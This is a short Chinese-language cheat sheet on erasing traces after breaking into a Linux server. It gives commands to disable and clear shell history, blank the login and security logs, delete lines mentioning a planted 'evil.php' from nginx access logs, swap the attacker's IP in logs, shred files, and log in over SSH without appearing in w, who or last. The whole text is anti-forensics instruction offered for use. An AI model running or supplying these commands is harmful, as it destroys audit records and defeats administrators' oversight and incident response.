Linux痕跡清除

一、清除history歷史命令記錄

1、清除當前用戶的history命令記錄

history -c

2、登錄后執行下面命令,不記錄歷史命令(.bash_history)

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

二、清除系統日志

1、日志說明

Linux 系統存在多種日志文件，來記錄系統運行過程中產生的日志。

/var/log/btmp   記錄所有登錄失敗信息，使用lastb命令查看
/var/log/lastlog 記錄系統中所有用戶最后一次登錄時間的日志，使用lastlog命令查看
/var/log/wtmp    記錄所有用戶的登錄、注銷信息，使用last命令查看
/var/log/utmp    記錄當前已經登錄的用戶信息，使用w,who,users等命令查看
/var/log/secure   記錄與安全相關的日志信息
/var/log/message  記錄系統啟動后的信息和錯誤日志

2、清空日志

[root@centos]# echo > /var/log/btmp 
[root@centos]# lastb           //查詢不到登錄失敗信息

[root@centos]# echo > /var/log/wtmp  
[root@centos]# last              //查詢不到登錄成功的信息

清除用戶最后一次登錄時間：echo > /var/log/lastlog          #lastlog命令
清除當前登錄用戶的信息：echo >   /var/log/utmp             #使用w,who,users等命令
清除安全日志記錄：cat /dev/null >  /var/log/secure
清除系統日志記錄：cat /dev/null >  /var/log/message

三、清除web入侵日志

1、清除部分相關日志

# 使用grep -v來把我們的相關信息刪除,
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改過的日志覆蓋到原日志文件
cat tmp.log > /var/log/nginx/access.log/

2、替換日志ip地址

sed -i 's/192.168.166.85/192.168.1.1/g' access.log

四、文件安全刪除工具

1、share命令

shred命令 實現安全的從硬盤上擦除數據，默認覆蓋3次，通過 -n指定數據覆蓋次數。

shred -f -u -z -v -n 8 1.txt 

五、隱藏遠程ssh登錄記錄

隱身登錄系統，不會被w、who、last等指令檢測到
ssh -T root@192.168.0.1 /bin/bash -i
不記錄ssh公鑰在本地.ssh目錄中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i